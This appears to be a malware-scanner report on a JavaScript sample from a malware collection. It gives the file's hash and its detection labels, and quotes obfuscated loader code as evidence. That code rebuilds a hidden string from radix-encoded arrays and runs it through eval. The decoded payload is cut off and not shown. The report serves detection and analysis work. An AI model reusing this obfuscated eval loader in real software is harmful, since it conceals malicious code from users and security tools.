Suspicious ^80% javascript-malware-collection Download

20151211_2fef2ca4130857ec1c2ea53759df961e.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256e344e5a176eecac722be4bbf35c1d2d9678a47f14a871715216e8eec462011bb

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function mkvls(XKPrOIuqaDe,BeLVXVuuSPjIP,sANrcirl){kPGq=parseInt(XKPrOIuqaDe,BeLVXVuuSPjIP);KxNWZ=kPGq.toString(sANrcirl);return KxNWZ;}function kcwbaqKCsjUMauK(MhOXwrhxsWjRyHGWj){eval(MhOXwrhxsWjRyHGWj)}
3function YMZqDgzsuOPwhlpigXVouuCGkACbTIwJQKnSzMiAcjrFWLpQpuHOve(EtPYBYPQMmKVk,RgKYbCcNChhxHq){ return BnITs[mkvls(EtPYBYPQMmKVk[RgKYbCcNChhxHq],(9909+297)/486,(256+704)/96)];}
4function oZFVAsf(rLfpopSOOcIjyGFvQiurdRMJjrUbtXICwjws) {return !isNaN(parseFloat(rLfpopSOOcIjyGFvQiurdRMJjrUbtXICwjws)) && isFinite(rLfpopSOOcIjyGFvQiurdRMJjrUbtXICwjws);}
5function QGIppAggDhV(xYCvAZKa,lRiuIh){return xYCvAZKa.split(lRiuIh)}
6var s=new Array("d","a","d","a","5d","4d","59","1b","41","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  uMFbw=[s,k];
9var LTgkAXHPk=[];
10function HKFklCsuLYlxhfKVn(uMFbw){wpzQEGqtnEB= '';WMmRWlOgFxA=(-29+29)/137; while(true){if(WMmRWlOgFxA >= (491+801)/646)break;LTgkAXHPk[WMmRWlOgFxA]=(-371+371)/63; while(true) { if(LTgkAXHPk[WMmRWlOgFxA] > uMFbw[WMmRWlOgFxA].length-(92+642)/734) { break; } if (oZFVAsf(mkvls(uMFbw[WMmRWlOgFxA][LTgkAXHPk[WMmRWlOgFxA]],(266+805)/51,(1376+674)/205))) {wpzQEGqtnEB += YMZqDgzsuOPwhlpigXVouuCGkACbTIwJQKnSzMiAcjrFWLpQpuHOve([uMFbw[WMmRWlOgFxA][LTgkAXHPk[WMmRWlOgFxA]]], (-435+435)/146);} LTgkAXHPk[WMmRWlOgFxA]++;}WMmRWlOgFxA++;} return wpzQEGqtnEB}
11kcwbaqKCsjUMauK(HKFklCsuLYlxhfKVn(uMFbw));